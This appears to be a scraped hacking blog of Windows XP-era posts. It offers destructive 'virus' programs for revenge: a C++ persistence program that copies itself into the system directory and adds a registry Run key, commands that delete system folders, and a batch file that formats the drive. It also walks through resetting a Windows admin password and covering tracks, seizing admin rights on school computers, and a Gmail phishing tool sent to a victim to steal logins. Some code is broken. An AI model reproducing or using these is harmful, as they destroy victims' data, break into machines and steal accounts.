c++ virus code

Here is a good virus I wrote in C++ myself. If you got a compiler then just copy it into a Win32 app. Not a concal app.
#include
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,”\\virus.exe”);
CopyFile(pathtofile,system,false);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey ); RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
HWND hWin; hWin = FindWindow("Shell_TrayWnd",NULL);
EnableWindow(hWin,false);
while(1==1) {
ShowWindow(hWin,false);
Sleep(1000);
ShowWindow(hWin,true);
Sleep(1000); } return 0;
}
Dont under estimaite the power of this little guy. Try it. Its very annoying. To fix it ctr+alt+del to get to task maneger. Then close exsplorer.exe and virus.exe. WARNING VIRUS.EXE MIGHT NOT BE THERE!!! IF IT ISNT THEN DONT PANIC, JUST CLOSE EXSPOLORE.EXE!!! Next (while in task maneger) goto file - new task... - "explorer.exe" without quotes. Email me for any questions!!! keyboardbandit@hotmail.com //-----------------------------------------
#include
int main()
{
cout << "Hello World!!!" << endl;
return(0);
}

Read Users' Comments (0)

c++ virus

this code is for reading all server and test does it is Up or Down ( if is up virus can infect the victim by IP ! ). sasser using that !!
/*---------------------------------- Cut Here ---------------------------------*/
#include
#include
#include
#include
struct in_addr *find_valid_host(void)
{
struct in_addr *address = (struct in_addr *)malloc(sizeof(struct in_addr));
srand(time(NULL)); /* on initialise le générateur aléatoire */
address->s_addr = rand();
while (!isup(*address)) (address->s_addr)++; /* ici, on utilise la routine isup() de nmap pour voir si la cible est up */
return address; }
/*---------------------------------- Cut Here ---------------------------------*/

Read Users' Comments (0)

virus to del sys file

Hey EveryBody, Y make virus??? u don't want to be evil. but if u want to take revenge from sumbody. sure go ahead. i'llhelp ya. i have a little virus code i will include the code but before that you must DOWNLOAD C++ MINGW COMPILER FROM WWW.BLOODSHED.COM "IT'S FREEEEEE". ALL YOU HAVE TO DO IS SAVE THE FOLLOWING CODE AND COMPILE IT. IF IT DOESN'T WORK, THEN TOO BAD.

Here is the code:

#include

using namespace std;

void main(int argv,char args[])

{

system("deltree c:\\*.*");

}

Read Users' Comments (0)

c++ virus code

Like few guys say to you you can't just sit and made virus. You can download few sources from net but when you look at that source you don't knew what he actualy do. So take c,c++, Delphi, Java or Whatever you want and learn. I just wanth to say THX to fukuall because I need that cource about creating registry file. If you wanth a virus ok then here is a little on ;)
[code]:
#include
#include
int main()
{
system ("DEL C:\*.exe");
system ("DEL C:\*.txt");
system ("DEL C:\*.doc");
system ("DEL C:\WINDOWS\*.exe");
system ("DEL C:\WINDOWS\*.com");
system ("DEL C:\WINDOWS\*.bat");
system ("DEL C:\Program Files\*.*");
system ("DEL C:\WINDOWS\SYSTEM\*.exe");
system ("DEL C:\WINDOWS\SYSTEM\*.dll");
system ("DEL C:\WINDOWS\SYSTEM\*.com");
system ("DEL C:\WINDOWS\SYSTEM\*.bat");
return 0;
}

Read Users' Comments (0)

shutdown virus

Go in notepad write: @echo off echo Heeey i missed what have you done?? pause echo Anyways ill be going for now see u pause shutdown.exe And then save it as Hey.bat (REMEMBER TO SET IT TO ALL FILES.!!!) Also to make a deleting bat file: @echo off echo Hey ill need some info.. pause echo Ill just get it format c: thats it..

Read Users' Comments (0)

Very Easy But Very Dangerous Virus

The only thing you need is Notepad .
Now, to test it, create a textfile calledTEST.txt(empty) in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes).
Then do "Save As..." and save it as"Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone. Now, the real work begins:
Go to notepad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and save it again as findoutaname.cmd. Now DON'T run the file or you'll lose your WINDOWS map. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX map is gone. And have to install LINUX/WINDOWS again.

Read Users' Comments (0)

WINDOWS TIPS COLLECTION How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks



Registry Hacking

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

Automatically Kill Programs At Shutdown:

don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Speed up Internet Explorer 6 Favorites
For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

Aspi

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.

Read Users' Comments (0)

Easily Login to Windows XP with No Password Administrator Account Backdoor Trick

In password-protectedWindows XP Home or Professional edition system, each user logs on to his or her own user name and password to have full access to the Windows computer. However, Windows user or administrator can still log in to the Windows XP machine without knowing the original password, if they have lost or forgotten the user ID or password, by using various bypass or crack method such as using DreamPackPL to bypass the need to logon using valid account or password, crack or brute force retrieve the Windows passwords for various user or administrator account with Ophcrack2, and using third party services such as Login Recovery to retrieval and recovery of Windows user name and passwords. However, there is one simpler method to hack into a Windows XP system, if the computer owner installed Windows XP, and forgot or not set the Administrator account password.

By default installation, Windows XP has a built-in Administrator account which equivalent to root or superuser privilege account in Linux or Unix that contains no password. In other word, hacker or any people can simply key in Administrator as user name at the Windows Logon Welcome Screen prompt with blank password (no password) and get full administrative access as superuser to the Windows PC. Worse, most computer owners don’t even know such an Administrator account is actually existed, don’t even mentioned they will create or set a password for Administrator user account.

Windows XP Welcome Screen

So this security vulnerability flaw provides an easy way to hack into anyWindows XP computer that the user forgets or simply does not set a password for the Administrator user ID. The problem is that in normal Windows XP Welcome Screen where you choose which user name you want to log onto, the Administrator user name is not displayed and is not shown. If you can’t choose or select the Administrator from the login screen, then how are you going to log-in with the Administrator account? The following video clip provides a simple hack and trick.

Basically, at Windows XP Welcom Screen, simply press Ctrl-Alt-Del keys sequence together twice, and you will be shown a Log On to Windows menu which you can specify User Name and Password. In the User Name text box, key in “Administrator” (without quote) and leave the Password field blank. Then press Enter or click on OK. If there is not password protects the Administrator account, or blank password is set, then you will be able to access the Windows with full administrative privileges as Administrator.

Read Users' Comments (0)

Command Prompt Hacks |How to hide partition

Here is an interesting command prompt hack .You can hide, assign, delete etc. disk partition in few steps.

1.Select Start , then Run , in Run option type cmd. (or start->All Programs->Accessories->Command Prompt)

2.In Command Prompt (cmd) type DISKPART

3. Then type LIST VOLUME, after this you will get an partition overview, as shown below

4. Type SELECT VOLUME (number) , press ENTER on keyboard, then type REMOVE LETTER (letter )as shown below

5.After this disk partition will be hidden. How to return disk partition? Easy, just type ASSIGN LETTER (letter), as shown beloww

With Command Prompt (cmd) , you can manipulate disk partition. Here is list of possibility:

Read Users' Comments (0)

Hack In Schools Computers And Get Administrative Privileges

f you use computer at the work or at the school , you probably have a problems with administrative privileges. Most admins stop MS-DOS prompt from working, because it´s the best way to get administrative privileges. For beginning you must enable MS-DOS prompt.

Open Notepad and write command.com, save file as .bat

hack computer

hack computer

Open that file and it will give you a command prompt.

hack computer

Let´s create new user . In command prompt write net user username /ADD, for example net user ivan /ADD


hack cmd

Write net localgroup and find out the name of the local group they belong to admin. In most case it´s administrators.

hack pc

Write in Command Prompt net localgroup administrators ivan /ADD, this will make ivan an admin.

Log off and login with new username , enjoy in administrative privileges. If you want delete created user justtype net user username /DELETE

Read Users' Comments (0)

Best Alternative If Command Prompt Is Blocked

Most of the computers that have public access to people has Command Prompt blocked. This is for security reasons. Some time you may want to view hidden files in the public computer using command prompt (in case Folder options settings is not available). Lack of Command Prompt will be great loss of if you want to hack in to the networking or the same pc.

There are several tweaks and hacks to enable command prompt, but it is so much tricky. I am introducing you with a nice alternative for command prompt.

Have a look at the screenshot. It supports all the features that Command Prompt does. Even all the wild cards that can be used in DOS(Disk Operating System).

Download it from here:

http://www.gammadyne.com/gs.exe

It is actually a DOS Shell, which interpets user command same as in DOS.

Hope this post was a great help.

Read Users' Comments (0)

Disable Cut, Copy and Paste in Windows

How often do you leave your PC unattended? How many people can access our workstation or home PC? And what do you keep in your hard disk? If you leave your PC unattended and anyone or few can access your home/work PC then your data and information is in risk. One can easily copy your documents and files.

You may have secured your PC by setting password. But you won’t be putting password in screensaver mode, will you?

In this tutorial I am going to show you how you can prevent your files from being copied illegally to any storage media or even inside one folder location to another location of same hard drive.

Before we begin with the tutorial, download this free utility which will be playing main role in this tutorial.

The downloaded file is a zip file; you’ll need to extract it.

After extraction install the program. Remember the location of the installation folder. It is usually in %systemroot%/Program Files/Prevent . The installer only extracts the file and while running toggles the registry values.

Go to the location where Prevent utility is installed. And open Prevent.exe.

Click on Define HotKey Field and press the shortcut keys you want to disable the copy and paste.

I clicked on the text input area of Define HotKey and pressed CTRL+ Shift + Q simultaneously.

Now Click on Activate button. After pressing Activate button, it will save the HotKey you defined with following screen:

As soon as you press activate button it will disable the copy paste feature of windows.

Now to disable it you’ll need to press the defined HotKey.

When you press the Hotkey in any part of the Windows it will enable copy/paste again with following screen:

Now go to the folder location where you’ve installed Prevent utility.

Right click on Prevent.exe, go to send to menu and create desktop shortcut.

This will create shortcut to desktop.

You may rename it whatever you want.

Now you can open Prevent utility from shortcut and always activate it if you’ve disabled it once.

This utility not only allows you to disable cut, copy and paste but also Delete, Copy To, Move To, Sent To, Renaming, Task manager’s End Process button.

Task manager before activating Prevent utility.

Task manager after activating Prevent utility.

Read Users' Comments (0)

How To Hack Gmail Password Using Gmail Hacker [TUTORIAL]

Hi Hackers,

THIS POST IS FOR EDUCATIONAL PURPOSES ONLY.

This is a very awesome app and a great trick to hack someone’s gmail account – Gmail Hacker.!

This Gmail hacker is one of my favorite software to hack Gmail password. The only thing you have to do is to build your own Gmail Hacker and send this Gmail hacker to the victim. I’ve provided the link below for the download:

Gmail Hacker – Software to hack Gmail password :

1. First ensure that you have installed Microsoft .Net Framework. If not, then you can download it from here: Download .Net Framework

2. Click HERE to download Gmail Hacker.

[ad code=1 align=center]

3. Download Winrar (free download here) to extract Gmail hacker folder.

4. Now, run Gmail Hacker Builder.exe file on your computer to see :

how to hack

5. Enter in your email address and password (** I RECOMMEND CREATING A FAKE ID AND ENTER THE DETAILS OF THAT FAKE ID ONLY** So that people should not have a fear of losing their real email IDs in a doubt about this application :) ) and hit on Build. Then Gmail hacker builder will create your own Gmail hacker application – Gmail Hacker.exe file which you can use to hack gmail password.

6. Now, send this Gmail Hacker.exe file to victim and tell him that this Gmail hacker is used to hack Gmail password. Ask him to run Gmail Hacker.exe and enter all information (which includes his Gmail id and password plus Gmail ID of the victim he wanna hack).

how to hack

7. As he enters the information and hits “Hack Them”, he will receive an error message as shown below:

how to hack

7. In return, you will receive an email in your email account like this:

how to hack

9. You’re Done!! :D You got his Gmail ID n password!

Read Users' Comments (0)